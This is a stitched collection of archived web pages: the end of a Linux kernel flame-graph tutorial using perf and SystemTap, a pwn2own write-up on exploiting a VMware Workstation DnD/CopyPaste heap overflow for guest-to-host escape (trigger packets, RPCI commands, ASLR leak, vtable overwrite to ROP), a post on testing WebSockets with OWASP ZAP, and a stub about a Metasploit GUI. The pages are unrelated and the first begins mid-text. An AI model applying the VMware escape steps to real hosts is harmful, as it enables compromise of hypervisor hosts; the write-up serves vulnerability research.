                             |          ip_finish_output
                             |          ip_output
                             |          ip_local_out
                             |          ip_queue_xmit
                             |          tcp_transmit_skb
                             |          tcp_write_xmit
                             |          |
                             |          |--98.16%-- tcp_push_one
                             |          |          tcp_sendmsg
                             |          |          inet_sendmsg
                             |          |          sock_aio_write
                             |          |          do_sync_write
                             |          |          vfs_write
                             |          |          sys_write
                             |          |          system_call
                             |          |          0x369e40e5cd
                             |          |
                             |           --1.84%-- __tcp_push_pending_frames
    [...]
    
[/code]

This tree starts with the on-CPU functions and works back through the ancestry
\(this is a “callee based call graph”\). This follows the flame graph when
reading the flame graph top-down. \(This behavior can be flipped by using the
“caller” option to -g/–call-graph, instead of the “callee” default, generating
a tree that follows the flame graph when read bottom-up.\) The hottest \(most
frequent\) stack trace in the flame graph \(@70.52%\) can be seen in this perf
call graph as the product of the top three nodes \(72.18% x 99.53% x 98.16%,
which are relative rates\). `perf report` can also be run with “-g graph” to
show absolute overhead rates, in which case “70.52%” is directly displayed on
the node.

The perf report tree \(and the ncurses navigator\) do an excellent job at
presenting this information as text. However, with text there are limitations.
The output often does not fit in one screen \(you could say it doesn’t need
to, if the bulk of the samples are identified on the first page\). Also,
identifying the hottest code paths requires reading the percentages. With the
flame graph, all the data is on screen at once, and the hottest code-paths are
immediately obvious as the widest functions.

For generating the flame graph, the `perf script` command \(a newer addition
to perf\) was used to dump the stack samples, which are then aggregated by
stackcollapse-perf.pl and folded into single lines per-stack. That output is
then converted by flamegraph.pl into the SVG.

The last two commands could be connected via a pipe:

[code]

    # **perf script | ./stackcollapse-perf.pl | ./flamegraph.pl > perf-kernel.svg**
    
[/code]

In practice I don’t do this, as I often re-run flamegraph.pl multiple times,
and this one-liner would execute everything multiple times. The output of
`perf script` can be many Mbytes, taking many seconds to process. By writing
stackcollapse-perf.pl to a file, you’ve cached the slowest step, and can grep
or vi to focus on the important stacks. The one-line-per-stack output of
stackcollapse-perf.pl is great food for grep\(1\). Eg:

[code]

    # perf script | ./stackcollapse-perf.pl > out.perf-folded
    # **grep -v cpu_idle** out.perf-folded | ./flamegraph.pl > nonidle.svg
    # **grep ext4** out.perf-folded | ./flamegraph.pl > ext4internals.svg
    # **egrep 'system_call.*sys_(read|write)'** out.perf-folded | ./flamegraph.pl > rw.svg
    
[/code]

Note that it would be a little more efficient to process the output of `perf
report` instead of `perf script`; better still, `perf report` could have a
report style \(eg, “-g folded”\) that output folded stacks directly, obviating
the need for stackcollapse-perf.pl. There could even be a perf mode that
output the SVG directly \(which wouldn’t be the first one; see perf-
timechart\), although, that would miss the value of being able to grep the
folded stacks \(which I use frequently\).

If you’ve never used perf\_events before, you may want to test before
production use \(it has had kernel panic bugs in the past\). My experience has
been a good one \(no panics\).

## SystemTap

SystemTap can also sample stack traces via the timer.profile probe, which
fires at the system clock rate \(CONFIG\_HZ\). Unlike perf, which dumps
samples to a file for later aggregation and reporting, SystemTap can do the
aggregation in-kernel and pass a \(much smaller\) report to user-land. The
data collected and output generated can be customized much further via its
scripting language. The examples here were generated on Fedora 16 \(where it
works much better than Ubuntu/CentOS\).

<img src='img/Temp2_1138.png' width='600' height='345' alt='alt' />

The commands for SystemTap version 1.6 are:

[code]

    # **stap -s 32 -D MAXTRACE=100 -D MAXSTRINGLEN=4096 -D MAXMAPENTRIES=10240 \
        -D MAXACTION=10000 -D STP_OVERLOAD_THRESHOLD=5000000000 --all-modules \
        -ve 'global s; probe timer.profile { s[backtrace()] <<< 1; }
        probe end { foreach (i in s+) { print_stack(i);
        printf("\t%d\n", @count(s[i])); } } probe timer.s(60) { exit(); }' \
        > out.stap-stacks**
    # **./stackcollapse-stap.pl out.stap-stacks > out.stap-folded**
    # **cat out.stap-folded | ./flamegraph.pl > stap-kernel.svg**
    
[/code]

The six options used \(-s 32, -D …\) increase various SystemTap limits. The
only ones really necessary for flame graphs are “-D MAXTRACE=100 -D
MAXSTRINGLEN=4096″, so that stack traces aren’t truncated; the others became
necessary when sampling for long periods \(in this case, 60 seconds\) on busy
workloads, since you can get errors such as:

[code]

    WARNING: There were 233 transport failures.
    
    ERROR: Array overflow, check MAXMAPENTRIES near identifier 's' at <input>:1:33
    
    MAXACTION:
    ERROR: MAXACTION exceeded near operator '{' at <input>:1:87
    
    STP_OVERLOAD_THRESHOLD:
    ERROR: probe overhead exceeded threshold
    
[/code]

The “transport failures” is fixed by increasing the buffer size \(-s\); the
other messages include the names of the tunables that need to be increased.

Also, be sure you have the fix for the \#13714 kernel panic \(which led to
CVE-2012-0875\), or the latest version of SystemTap.

On SystemTap v1.7 \(latest\):

[code]

    # **stap -s 32 -D MAXBACKTRACE=100 -D MAXSTRINGLEN=4096 -D MAXMAPENTRIES=10240 \
        -D MAXACTION=10000 -D STP_OVERLOAD_THRESHOLD=5000000000 --all-modules \
        -ve 'global s; probe timer.profile { s[backtrace()] <<< 1; }
        probe end { foreach (i in s+) { print_stack(i);
        printf("\t%d\n", @count(s[i])); } } probe timer.s(60) { exit(); }' \
        > out.stap-stacks**
    # **./stackcollapse-stap.pl out.stap-stacks > out.stap-folded**
    # **cat out.stap-folded | ./flamegraph.pl > stap-kernel.svg**
    
[/code]

The only difference is that MAXTRACE became MAXBACKTRACE.

The “-v” option is used to provide details on what SystemTap is doing. When
running this one-liner for the first time, it printed:

[code]

    Pass 1: parsed user script and 82 library script(s) using 200364virt/23076res/2996shr kb, in 100usr/10sys/260real ms.
    Pass 2: analyzed script: 3 probe(s), 3 function(s), 0 embed(s), 1 global(s) using 200892virt/23868res/3228shr kb, in 0usr/0sys/9real ms.
    Pass 3: translated to C into "/tmp/stapllG8kv/stap_778fac70871457bfb540977b1ef376d3_2113_src.c" using 361936virt/48824res/16640shr kb, in 710usr/90sys/1843real ms.
    Pass 4: compiled C into "stap_778fac70871457bfb540977b1ef376d3_2113.ko" in 7630usr/560sys/19155real ms.
    Pass 5: starting run.
    
[/code]

This provides timing details for each initialization stage. Compilation took
over 18 seconds, during which the performance of the system dropped by 45%.
Fortunately, this only occurs on the first invocation. SystemTap caches the
compiled objects under ~/.systemtap, which subsequent executions use. I
haven’t tried, but I suspect it’s possible to compile on one machine \(eg,
lab, to test for panics\), then transfer the cached objects to the target for
execution – avoiding the compilation step.

## 1000 Hertz

The above examples both used 1000 Hertz, so that I could show them both doing
the same thing. Ideally, I’d sample at 997 Hertz \(or something similar\) to
avoid sampling in lock-step with timed tasks \(which can lead to over-sampling
or under-sampling, misrepresenting what is actually happening\). With
perf\_events, the frequency can be set with -F; for example, “-F 997″.

For SystemTap, sampling at 997 Hertz \(or anything other than CONFIG\_HZ\) is
currently difficult: the timer.hz\(997\) probe fires at the correct rate, but
can’t read stack backtraces. It’s possible that it can be done via the perf
probes based on CPU reference cycle counts \(eg, “probe
perf.type\(0\).config\(0\). sample\(N\)”, where N = CPU\_MHz \* 1000000 /
Sample\_Hz\). See \#13820 for the status on this.

## File System

As an example of a different workload, this shows the kernel CPU time while an
ext4 file system was being archived:

<img src='img/Temp2_1139.png' width='600' height='209' alt='alt' />

This used perf\_events \(PNG version\); the SystemTap version looks almost
identical \(SVG, PNG\).

This shows how the file system was being read and where kernel CPU time was
spent. Most of the kernel time is in sys\_newfstatat\(\) and sys\_getdents\(\)
– metadata work as the file system is walked. sys\_openat\(\) is on the right,
as files are opened to be read, which are then mmap\(\)d \(look to the right
of sys\_getdents\(\), these are in alphabetical order\), and finally page
faulted into user-space \(see the page\_fault\(\) mountain on the left\). The
actual work of moving bytes is then spent in user-land on the mmap’d segments
\(and not shown in this kernel flame graph\). Had the archiver used the
read\(\) syscall instead, this flame graph would look very different, and have
a large sys\_read\(\) component.

## Short Lived Processes

For this flame graph, I executed a workload of short-lived processes to see
where kernel time is spent creating them \(PNG version\):

<img src='img/Temp2_1140.png' width='600' height='208' alt='alt' />

Apart from performance analysis, this is also a great tool for learning the
internals of the Linux kernel.

## oprofile

Before anyone asks, oprofile could also be used for stack sampling. I haven’t
written a stackcollapse.pl version for oprofile yet.

## Notes

All of the above flame graphs were generated on the Linux 3.2.9 kernel
\(Fedora 16 guest\) running under KVM \(Ubuntu host\), with one virtual CPU.
Some code paths and sample ratios will be very different on bare-metal:
networking won’t be processed via the virtio-net driver, for a start. On
systems with a high degree of idle time, the flame graph can be dominated by
the idle task, which can be filtered using “grep -v cpu\_idle” of the folded
stacks. Note that by default the flame graph aggregates samples from multiple
CPUs; with some shell scripting, you could aggregate samples from multiple
hosts as well. Although, it’s sometimes useful to generate separate flame
graphs for individual CPUs: I’ve done this for mapped hardware interrupts, for
example.

## Conclusion

With the Flame Graph visualization, CPU time in the Linux kernel can be
quickly understood and inspected. In this post, I showed Flame Graphs for
different workloads: networking, file system I/O, and process execution. As a
SVG in the browser, they can be navigated with the mouse to inspect element
details, revealing percentages so that performance issues or tuning efforts
can be quantified.

I used perf\_events and SystemTap to sample stack traces, one task out of many
that these powerful tools can do. It shouldn’t be too hard to use oprofile to
provide the data for Flame Graphs as well.

## References

  * The original Flame Graph post and github repo
  * Linux perf\_events wiki
  * The Unofficial Linux Perf Events Web-Page
  * The SystemTap homepage

Thanks to those using flame graphs and putting it to use in other new areas,
and to the SystemTap engineers for answering questions and fixing bugs.

Posted on March 17, 2012 at 9:24 am by Brendan Gregg · Permalink  
In: Performance · Tagged with: flamegraphs, linux, performance, perf\_events,
systemtap, visualizations

## Leave a Reply

# The Weak Bug - Exploiting a Heap Overflow in VMware

**Created:**| _7/17/2017 11:28:30 AM_  
---|---  
**Updated:**| _7/17/2017 11:28:30 AM_  
**Author:**| __  
**Tags:**| _vmware Heap_  
  

  

# Introduction

In march 2017, I took part in the pwn2own contest with team Chaitin Security
Research Lab. The target I was focused on was VMware Workstation Pro and we
managed to get a working exploit before the contest. ~~Un~~ fortunately, a
version of VMware was released on March 14th, the day before the contest, with
a patch for the vulnerability our exploit was taking advantage of. This blog
post is a narrative of our journey from finding the vulnerability to
exploiting it. I would like thank @kelwin whose assistance was indispensable
during the development of the exploit. I would also like to thank the ZDI
folks for their recent blog post which motivated us to get off our asses and
make this writeup :P.  
The post is divided into three parts. First we will briefly describe the
VMware **RPCI** gateway, next we will describe the vulnerability and finally
we'll have a look at how we were able to use this single exploit to defeat
ASLR and get code execution.

# The VMware RPCI

Unsurprisingly, VMware exposes a number of ways for the guest and host to
communicate with each other. One of these ways is through an interface called
the **Backdoor**. The guest is able to send commands through this interface in
user mode because of an interesting design. This same interface is used
\(partly\) by _VMware_ _Tools_ in order to communicate with the host. Let's
have a look at some sample code \(taken from `lib/backdoor/backdoorGcc64.c` in
open-vm-tools\):

[code]

    void  
    Backdoor_InOut(Backdoor_proto *myBp) // IN/OUT  
    {
       uint64 dummy;
    
       __asm__ __volatile__(
    #ifdef __APPLE__
            /*
             * Save %rbx on the stack because the Mac OS GCC doesn't want us to
             * clobber it - it erroneously thinks %rbx is the PIC register.
             * (Radar bug 7304232)
             */
            "pushq %%rbx"           "\n\t"
    #endif
            "pushq %%rax"           "\n\t"
            "movq 40(%%rax), %%rdi" "\n\t"
            "movq 32(%%rax), %%rsi" "\n\t"
            "movq 24(%%rax), %%rdx" "\n\t"
            "movq 16(%%rax), %%rcx" "\n\t"
            "movq  8(%%rax), %%rbx" "\n\t"
            "movq   (%%rax), %%rax" "\n\t"
            "inl %%dx, %%eax"       "\n\t"  /* NB: There is no inq instruction */
            "xchgq %%rax, (%%rsp)"  "\n\t"
            "movq %%rdi, 40(%%rax)" "\n\t"
            "movq %%rsi, 32(%%rax)" "\n\t"
            "movq %%rdx, 24(%%rax)" "\n\t"
            "movq %%rcx, 16(%%rax)" "\n\t"
            "movq %%rbx,  8(%%rax)" "\n\t"
            "popq          (%%rax)" "\n\t"
    #ifdef __APPLE__
            "popq %%rbx"            "\n\t"
    #endif
          : "=a" (dummy)
          : "0" (myBp)
          /*
           * vmware can modify the whole VM state without the compiler knowing
           * it. So far it does not modify EFLAGS. --hpreg
           */
          :
    #ifndef __APPLE__
          /* %rbx is unchanged at the end of the function on Mac OS. */
          "rbx",
    #endif
          "rcx", "rdx", "rsi", "rdi", "memory"
       );
    }
    
[/code]

Looking at this code, one thing that seems odd is the `inl` instruction. Under
normal circumstances \(default I/O privilege level on Linux for instance\), a
user mode program should not be able to issue I/O instructions. Therefore this
instruction should simply just cause the user mode program to fault and crash.
This instruction actually generates a privilege error and on the _host_ the
hypervisor catches this fault. This ability to communicate with the _host_
from a user land in the _guest_ makes the **Backdoor** an interesting attack
surface since it satisfies the pwn2own requirement: _"An attempt in this
category must be launched from within the guest operating system from a non-
admin account and execute arbitrary code on the host operating system."_ .The
_guest_ puts the value `0x564D5868` in `$eax` and the I/O port numbers
`0x5658` or `0x5659` are stored in `$dx` for low bandwidth and high bandwidth
data transfers respectively. Other registers are used for passing parameters.
For instance the lower half of `$ecx` is used to store the backdoor command
number. In the case of **RPCI** , the command number is set to
`BDOOR_CMD_MESSAGE = 30`. The file `lib/include/backdoor_def.h` contains a
list of some supported backdoor commands. The _host_ catches the fault, reads
the command number and dispatches the corresponding handler. There are a lot
of other details I am omitting here so if you are interested in this interface
you should read the source code.

### RPCI

The **R** emote **P** rocedure **C** all **I** nterface is built on top of the
aforementioned backdoor and basically allows a _guest_ to issue requests to
the _host_ to perform certain operations. For instance, operations like Drag n
Drop / Copy Paste as well as number of other random things such as sending or
retrieving info on the _guest_ use this interface. The format of RPCI requests
is pretty simple: `<cmd> <params>`. For example the RPCI request `"info-get
guestinfo.ip"` can be used in order to request the IP address assigned to the
_guest_. For each RPCI command, an endpoint is registered and handled in
**vmware-vmx**.

Please note that some RPCI commands can also use the VMCI sockets but that is
beyond the scope of this article.

# The Vulnerability

After some time reversing the different RPCI handlers, I decided to focus on
the _DnD_ and _Copy &Paste_ endpoints. They seemed to be the most complex
command handlers and therefore I was hoping it would be the best place to hunt
for vulnerabilities. Although I got a chance to understand a lot of the inner
workings of DnD/CP, it became apparent however that a lot of the functionality
in these handlers is not reachable without user interaction. The core
functionality of DnD/CP basically maintains some state machine which has some
unsatisfiable states when there is no user interaction \(e.g mouse drag from
host to guest\).  
At a loss, I decided to have a look at the vulnerabilities that were reported
during Pwnfest 2016 and mentioned in this VMware advisory, my idb had a lot of
"symbols" at this point so it was easy to use bindiff to find the patches. The
code below shows one of the vulnerable functions before it was patched \(which
turns out has source code available in
`services/plugins/dndcp/dnddndCPMsgV4.c`; the vulnerability is still in master
branch of the git repo of open-vm-tools btw\):

[code]

    static Bool  
    DnDCPMsgV4IsPacketValid(const uint8 *packet,  
                            size_t packetSize)
    {
       DnDCPMsgHdrV4 *msgHdr = NULL;
       ASSERT(packet);
    
       if (packetSize < DND_CP_MSG_HEADERSIZE_V4) {
          return FALSE;
       }
    
       msgHdr = (DnDCPMsgHdrV4 *)packet;
    
       /* Payload size is not valid. */
       if (msgHdr->payloadSize > DND_CP_PACKET_MAX_PAYLOAD_SIZE_V4) {
          return FALSE;
       }
    
       /* Binary size is not valid. */
       if (msgHdr->binarySize > DND_CP_MSG_MAX_BINARY_SIZE_V4) {
          return FALSE;
       }
    
       /* Payload size is more than binary size. */
       if (msgHdr->payloadOffset + msgHdr->payloadSize > msgHdr->binarySize) { // [1]
          return FALSE;
       }
    
       return TRUE;
    }
    
    Bool  
    DnDCPMsgV4_UnserializeMultiple(DnDCPMsgV4 *msg,  
                                   const uint8 *packet,
                                   size_t packetSize)
    {
       DnDCPMsgHdrV4 *msgHdr = NULL;
       ASSERT(msg);
       ASSERT(packet);
    
       if (!DnDCPMsgV4IsPacketValid(packet, packetSize)) {
          return FALSE;
       }
    
       msgHdr = (DnDCPMsgHdrV4 *)packet;
    
       /*
        * For each session, there is at most 1 big message. If the received
        * sessionId is different with buffered one, the received packet is for
        * another another new message. Destroy old buffered message.
        */
       if (msg->binary &&
           msg->hdr.sessionId != msgHdr->sessionId) {
          DnDCPMsgV4_Destroy(msg);
       }
    
       /* Offset should be 0 for new message. */
       if (NULL == msg->binary && msgHdr->payloadOffset != 0) {
          return FALSE;
       }
    
       /* For existing buffered message, the payload offset should match. */
       if (msg->binary &&
           msg->hdr.sessionId == msgHdr->sessionId &&
           msg->hdr.payloadOffset != msgHdr->payloadOffset) {
          return FALSE;
       }
    
       if (NULL == msg->binary) {
          memcpy(msg, msgHdr, DND_CP_MSG_HEADERSIZE_V4);
          msg->binary = Util_SafeMalloc(msg->hdr.binarySize);
       }
    
       /* msg->hdr.payloadOffset is used as received binary size. */
       memcpy(msg->binary + msg->hdr.payloadOffset,
              packet + DND_CP_MSG_HEADERSIZE_V4,
              msgHdr->payloadSize); // [2]
       msg->hdr.payloadOffset += msgHdr->payloadSize;
       return TRUE;
    }
    
[/code]

This function is called in Version 4 of DnD/CP from the _host's_ side when the
_guest_ sends fragment DnD/CP command packets. The _host_ invokes this
function in order to reassemble the chunks of the DnD/CP message sent by the
_guest_.  
The first packet received should have `payloadOffset == 0` and `binarySize`
specifying the size of a buffer dynamically allocated on the heap. At `[1]`,
there is a check to make sure that the `payloadOffset` and `payloadSize` do
not go out of bounds by comparing it to the `binarySize` of the packet header.
At `[2]` , the data is copied to the allocated buffer. However, the check at
`[1]` is flawed because it only works for the first received packet. For
subsequent packets, the check is invalid since the code expects the
`binarySize` field of the packet header to match that of the first packet in
the fragment stream. You might also have noticed that at `[1]` there is an
integer overflow, but this is actually not exploitable since `payloadOffset`
needs to be set to either `0` or should be equal to expected `payloadOffset`
of the buffered message.  
Therefore, the vulnerability can be triggered for example by sending the
following sequence of fragments:

[code]

    packet 1{  
     ...
     binarySize = 0x100
     payloadOffset = 0
     payloadSize = 0x50
     sessionId = 0x41414141
     ...
     #...0x50 bytes...#
    }
    
    packet 2{  
     ...
     binarySize = 0x1000
     payloadOffset = 0x50
     payloadSize = 0x100
     sessionId = 0x41414141
     ...
     #...0x100 bytes...#
    }
    
[/code]

Armed with this knowledge, I decided to have a look at Version 3 of DnD/CP to
see if anything had been missed in there. Lo and behold, the exact same
vulnerability was present in Version 3 of the code:  
\(this vulnerability was discovered by reversing, but we later noticed that
the code for v3 was also present in the git repo of open-vm-tools.\)

[code]

    Bool  
    DnD_TransportBufAppendPacket(DnDTransportBuffer *buf,          // IN/OUT  
                                 DnDTransportPacketHeader *packet, // IN
                                 size_t packetSize)                // IN
    {
       ASSERT(buf);
       ASSERT(packetSize == (packet->payloadSize + DND_TRANSPORT_PACKET_HEADER_SIZE) &&
              packetSize <= DND_MAX_TRANSPORT_PACKET_SIZE &&
              (packet->payloadSize + packet->offset) <= packet->totalSize &&
              packet->totalSize <= DNDMSG_MAX_ARGSZ);
    
       if (packetSize != (packet->payloadSize + DND_TRANSPORT_PACKET_HEADER_SIZE) ||
           packetSize > DND_MAX_TRANSPORT_PACKET_SIZE ||
           (packet->payloadSize + packet->offset) > packet->totalSize || //[1]
           packet->totalSize > DNDMSG_MAX_ARGSZ) {
          goto error;
       }
    
       /*
        * If seqNum does not match, it means either this is the first packet, or there
        * is a timeout in another side. Reset the buffer in all cases.
        */
       if (buf->seqNum != packet->seqNum) {
          DnD_TransportBufReset(buf);
       }
    
       if (!buf->buffer) {
          ASSERT(!packet->offset);
          if (packet->offset) {
             goto error;
          }
          buf->buffer = Util_SafeMalloc(packet->totalSize);
          buf->totalSize = packet->totalSize;
          buf->seqNum = packet->seqNum;
          buf->offset = 0;
       }
    
       if (buf->offset != packet->offset) {
          goto error;
       }
    
       memcpy(buf->buffer + buf->offset,
              packet->payload,
              packet->payloadSize);
       buf->offset += packet->payloadSize;
       return TRUE;
    
    error:  
       DnD_TransportBufReset(buf);
       return FALSE;
    }
    
[/code]

This function is called for fragment reassembly of DnD/CP protocol version 3.
Here we can see the same situation as before at `[1]`; trusting that
`totalSize` from the subsequent fragments would match `totalSize` of the first
fragment. Thus this vulnerability can be triggered in a similar fashion to the
previous one:

[code]

    packet 1{  
     ...
     totalSize = 0x100
     payloadOffset = 0
     payloadSize = 0x50
     seqNum = 0x41414141
     ...
     #...0x50 bytes...#
    }
    
    packet 2{  
     ...
     totalSize = 0x1000
     payloadOffset = 0x50
     payloadSize = 0x100
     seqNum = 0x41414141
     ...
     #...0x100 bytes...#
    }
    
[/code]

This brings us to the title of this blog post: "The Weak Bug". In the context
of a contest like pwn2own, I think the bug is weak because not only was it
inspired by a previously reported one, it was pretty much exactly the same
one. Therefore it really was no surprise when it was patched before the
contest \(okay, maybe we didn't expect it to get patched one day before the
contest :P\). The corresponding VMware advisory can be found here. The latest
version of VMware Workstation Pro affected by this bug is version `12.5.3`.  
We can now have a look at how to abuse the vulnerability and come up with a
guest to host escape\!

# Exploitation

We want to gain code execution through this vulnerability so we need to either
find a function pointer to overwrite on the heap or to corrupt the vtable of a
C++ object.  
First though, let's have a look at how to set the DnD/CP protocol to version
3. This can be done by sending the following sequence of RPCI commands:

[code]

    tools.capability.dnd_version 3  
    tools.capability.copypaste_version 3  
    vmx.capability.dnd_version  
    vmx.capability.copypaste_version  
    
[/code]

The first two lines respectively set the versions of DnD and Copy/Paste. The
latter two lines query the versions. They are required because querying the
versions is what actually causes the version to be switched. The RPCI command
handler for the `vmx.capability.dnd_version` checks if the version of the
DnD/CP protocol has been modified and if so, it will create a corresponding
C++ object for the specified version. For version 3, two C++ objects of size
`0xA8` are created; one for DnD commands and one for Copy/Paste commands.

The vulnerability gives us control over the allocation size as well as the
overflow size but it also allows us to write out of bounds multiple times.
Ideally we can just allocate an object of size `0xA8` and make it land before
the C++ object then overwrite the vtable pointer with a pointer to controlled
data to get code execution.  
It is not as simple as that however, since there are a few things we need to
address first. Mainly we need to find a way to defeat ASLR which in our case
implies also dealing with the Windows Low Fragmented Heap.

### Defeating ASLR

We need to find an object we can overflow into and somehow influence it to get
us in info leak; like an object we can read back from the _guest_ with a
length field or a data pointer we can easily corrupt. We were unable to find
such an object so we decided to reverse the other RPCI command handlers a bit
more and see what we could come up with. Of particular interest were commands
that had counter parts, in other words, you can use one command to set some
data and then use another related command to retrieve the data back. The
winner was the `info-set` and `info-get` command pair:

[code]

    info-set guestinfo.KEY VALUE  
    info-get guestinfo.KEY  
    
[/code]

`VALUE` is a string and its string length controls the allocation size of a
buffer on the heap. Moreover we can allocate as many strings as we want in
this way. But how can we use these strings to leak data ? Simply by
overwriting past the null byte and "lining" up the string with the adjacent
chunk. If we can allocate a string \(or strings\) between the overflowing
chunk and a DnD or CP object, then we can leak the vtable address of the
object and hence the base address of `vmware-vmx`. Since we can allocate many
strings, we can increase our chances of obtaining this heap layout despite the
randomization of the LFH. However there is still an aspect of the allocations
we do not control and that is whether a DnD or CP object is allocated _after_
our overflowing heap chunk. From our tests, we were able to get a probability
of success between 60% and 80% by playing with different parameters of our
exploit such as allocating and free'ing different amounts of strings.

In summary, we have the following \(`Ov` is the overflowing chunk, `S` is a
string and `T` is the target object\):  

<img src='img/Temp2_8351.png' width='657' height='346' alt='Simple Overflow'
/>

The plan is basically to allocate a number of strings filled with `A`'s for
example then we overflow the adjacent chunk with some `B`'s, read back the
value of all the allocated strings, the one that contains `B`'s is the one we
have corrupted. At this point we have a string we can use to read the leak
with, so we can keep overflowing with a granularity matching the size of the
objects in the bucket \(`0xA8`\) and reading back the string every time to
check if there is some leaked data in the string. We can know that we have
reached the target object because we know the offsets \(from the `vmware-vmx`
base\) of the vtables of the DnD and CopyPaste objects. Therefore after each
overflow, we can look at the last bits of the retrieved data to see if they
match that of the vtable offsets.

### Getting Code Execution

Now that we have obtained the info leak and know what type of C++ object we
are about to overflow we can proceed with the rest of the exploitation. There
are two cases we need to handle, CopyPaste and DnD. Please note that this is
probably just one line of exploitation out of many others.

##### The CopyPaste case

In the case of the **CopyPaste** object, we can just overwrite the vtable and
make it point to some data we control. We need a pointer to controlled data
which will be interpreted as the vtable address of the object. The way we
decided to do this is by using another RPCI command:
`unity.window.contents.start`. This command is used for the Unity mode to draw
some images on the _host_ and allows us to have some values that we control at
a know offset from the base address of `vmware-vmx`. To of the arguments taken
by the command are `width` and `height` of the image, each of them a 32-bit
word. By combining the two, we can have a 64-bit value at a known address. We
line it up with the vtable entry of the CopyPaste object that we can trigger
by just sending a CopyPaste command. In summary we do the following:

  * Send a `unity.window.contents.start` to write a 64-bit address of a stack pivot gadget at a know address with the `height` and `width` parameters.
  * Overwrite the vtable address with a pointer to the 64-bit address \(adjusted with the offset of the vtable entry that will be called\).
  * Trigger the use of the vtable by sending a CopyPaste command.
  * ROP.

##### The DnD case

In the case of the **DnD** object, we can't just overwrite the vtable because
right after the overflow the vtable is accessed to call another method so we
need to do it another way. This is because we only know the address of 1 qword
that we control through the unity image's `width` and `height`, so we can't
forge a vtable of the size we want.  
Let's have a look at the structure of the DnD and CP objects which can be
summarized as follows \(again, some similar structures can be found in _open-
vm-tools_ but they have slightly different formats in `vmware-vmx`\):

[code]

    DnD_CopyPaste_RpcV3{  
        void * vtable;
        ...
        uint64_t ifacetype;
        RpcUtil{
            void * vtable;
            RpcBase * mRpc;
            DnDTransportBuffer{
                uint64_t seqNum;
                uint8_t * buffer;
                uint64_t totalSize;
                uint64_t offset;
                ...
            }
            ...
        }
    }
    
    RpcBase{  
        void * vtable;
        ...
    }
    
[/code]

A lot of fields have been omitted since they are irrelevant for the purpose of
this blog post.  
There is a pointer to an `RpcBase` object which is also a C++ object.
Therefore if we can overwrite the `mRpc` field with a pointer-to-pointer to
data we control, we can have a vtable of our liking for the `RpcBase` object.
For this pointer we can also use the `unity.window.contents.start` command.
Another parameter the command takes on top of `width` and `height` is
`imgsize`, which controls the size of the image buffer. This buffer is
allocated and its address can also be found at a static offset from the
`vmware-vmx` base. We can populate the contents of the buffer by using the
`unity.window.contents.chunk` command. In summary we do the following:

  * Send a `unity.window.contents.start` command to allocate a buffer where we will store a fake vtable.
  * Send a `unity.window.contents.chunk` command to populate the fake vtable with some stack pivot gadget.
  * Overwrite the mRpc field of the DnD object with an address pointing to the address of the allocated buffer.
  * Trigger the use of the vtable of the mRpc field by sending a DnD command.
  * ROP.

**P.S** : There is a RWX page in `vmware-vmx` \(at least in version
`12.5.3`\).

### Notes on Reliability

As mentioned earlier, the exploit is not 100% reliable due to the Windows LFH.
Some things can be attempted in order to increase the reliability. Here is a
short list:

  * Monitor allocations of size `0xA8` to see if we can take advantage of the determinism of the LFH after a number of malloc's\(\) and free's\(\) as described here and here.
  * Find some other C++ objects to overwrite, preferably some that we can spray.
  * Find some other objects on the heap with function pointers, preferably some that we can spray.
  * Find a seperate info leak bug that we can use as an oracle.
  * Be more creative.

### ~~Useless~~ Video

Here is a video of the exploit in "action".

vmw

\(Yes, it's VMware inside VMware.\)

# Conclusion

"No pwn no fun" and make sure that if you want to take part in some contest
like _pwn2own_ you either have multiple bugs or you find some inspired
vulnerabilities.

  

# Blog, OWASP ZAP and Web Sockets - DigiNinja

**Created:**| _7/23/2013 9:45:15 AM_  
---|---  
**Updated:**| _7/28/2013 7:54:38 AM_  
**Author:**| __  
**Tags:**| _web-app-sec security tools_  
  

# **O** WASP ZAP and Web Sockets****

### Mon 15 July 13****

With the slow uptake of HTML5, web sockets are going to start being seen in
more and more applications so I figured I'd better learn how to test them
before being put in front of them on a client test and having to learn as I
went along**.**

I figured the best way to do this was to build a very simple application then
throw in a proxy and see what happened**.** Unfortunately my proxy of choice,
Burp Suite, currently doesn't handle web sockets so I had to look for one that
did**.** The only one, and this is their claim, that does in the OWASP Zed
Attack Proxy, or ZAP for short**.** I'd been meaning to learn how to use it
for a while so this seemed like the perfect opportunity**.** If anything in
here is wrong, please get in touch and I'll fix it, I'm learning as I go along
so may well be doing the odd thing wrong however it does all seem to work**.**

I started by writing a small web socket based app which I called SocketToMe
which has a few basic services, chat, a number guess game and a couple of
other features**.** I figured I'd start with interception then have a look at
fuzzing**.**

Basic interception is really simple, ZAP listens on port 8080 by default so
you just point your browser at it like you would any other proxy**.** If you
need to change the port number for any reason it is hidden away a little bit,
from the Tools menu select options then "Local proxy" in the left hand
menu**.**

I started using the app and ZAP picked up both the HTTP and the web socket
traffic straight away**.** To see the web socket traffic simply go to the
WebSockets tab**.** The following screenshot shows three messages, the arrows
show the direction of the message, to or from the client**.**

<img src='img/Temp2_1091.png' alt='ZAP showing web socket interception' />

The equivalent of Burp's repeater is Resend, to do this right click on a
message and select "Resend..**.** " . You'll be given a new window where you
can modify the message, change the direction \(to server or client\) and the
Opcode \(don't know what this is\)**.**

<img src='img/Temp2_1093.png' alt='Resending a message' />

If you want to intercept traffic and modify it before it hits either the
client or the server then you set a break point**.** Right click on a message
and chose "Break..." this will show a message box where you can specify which
direction, channel and opcode you want to break on**.** You can also specify a
pattern in the payload to watch for when breaking, this is useful to only stop
on specific messages**.** The pattern takes regular expressions so in the
following screenshot I've got it breaking when the client sends the server
\(outgoing\) any message which contains a 3 followed by another number
\(3\[0-9\]\)**.**

<img src='img/Temp2_1092.png' alt='Setting a break point' />

bottom window where you will see a list of all the ones that have been
defined**.** You can edit and delete them with a right mouse click or
temporarily disable them with the checkbox**.**

<img src='img/Temp2_1094.png' alt='List of current break points' />

To edit, or remove, break points, go to the "Break Point" tab in the bottom
window where you will see a list of all the ones that have been defined**.**
You can edit and delete them with a right mouse click or temporarily disable
them with the checkbox**.**

<img src='img/Temp2_1094.png' alt='List of current break points' />

The last bit I'm going to cover is fuzzing but as this is already fairly long
I'm going to push this to part two, Fuzzing Web Sockets With ZAP **.**

## Thanks BruCON****

The time to create this project was kindly sponsored by the BruCON 5x5
award**.**

****

# MSF eXploit Builder - GUI to build Metasploit Framework | PenTestIT
**Created:**| _7/22/2009 1:32:27 PM_  
---|---  
**Updated:**| _7/22/2009 1:32:35 PM_  
**Author:**| __  
**Tags:**| _Metasploit programming_  
  

# MSF eXploit Builder – GUI to build Metasploit Framework

by BLACK on JULY 6, 2009

